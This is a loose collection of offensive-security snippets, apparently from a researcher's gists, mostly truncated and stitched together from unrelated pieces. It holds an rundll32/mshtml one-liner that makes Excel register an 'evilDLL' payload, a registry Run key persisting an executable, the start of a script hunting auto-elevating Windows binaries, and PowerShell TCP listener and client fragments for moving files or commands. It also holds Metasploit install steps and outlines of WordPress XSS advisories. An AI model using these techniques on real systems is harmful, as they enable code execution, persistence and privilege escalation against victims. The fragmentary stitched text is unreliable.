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REM rundll32 mshtml.dll HTA one-liner command:
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\Windows\\Temp\\evilDLL.log');this.close();

sasqwatch

Steps to install Metasploit on Windows 10 using the Windows Subsystem for Linux

1.) Enable Developer Mode
    C:\> reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" /t REG_DWORD /f /v "AllowDevelopmentWithoutDevLicense" /d "1"

2.) Enable Windows Subsystem for Linux
    C:\> DISM /online /enable-feature /featurename:Microsoft-Windows-Subsystem-Linux

3.) Reboot

sasqwatch

# Usage: findelevate.py C:\Windows\System32\
# Needs sigcheck.exe in path [https://technet.microsoft.com/en-us/sysinternals/bb897441.aspx]

import sys
import os
import glob
import subprocess

if len(sys.argv) < 2:
	print "Usage: findelevate.py <PATH>"

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$socket = new-object System.Net.Sockets.TcpListener('0.0.0.0', 1080);
if($socket -eq $null){
	exit 1;
}
$socket.start();
$client = $socket.AcceptTcpClient();
$stream = $client.GetStream();
$buffer = new-object System.Byte[] 2048;
$file = 'c:/afile.exe';
$fileStream = New-Object System.IO.FileStream($file, [System.IO.FileMode]'Create', [System.IO.FileAccess]'Write');

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$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
	$writer.Flush();
	$read = $null;

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$socket = new-object System.Net.Sockets.TcpListener('127.0.0.1', 413);

if($socket -eq $null){
	exit 1
}

$socket.start()
$client = $socket.AcceptTcpClient()
write-output "[*] Connection!"

sasqwatch

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run]
@="Rundll32.exe SHELL32.DLL,ShellExec_RunDLL \"C:\\ProgramData\\test.exe\""

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<?php

    /**
     * XSS protection function for HTML context only
     * @usecases
     * <title>use this function if output reflects here or as a content of any HTML tag.</title>
     * e.g.,  <span>use this function if output reflects here</span>
     * e.g., <div>use this function if output reflects here</div>
     * @description
     * Sanitize/Filter < and > so that attacker can not leverage them for JavaScript execution.

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WordPress SOME bug in plupload.flash.swf

1. Intro
2. Background
3. Affected Systems
4. Mitigation

Quick Overview

sasqwatch

WordPress Flash XSS in flashmediaelement.swf

1. Intro
2. Background
3. Affected Systems
4. Mitigation

Quick Overview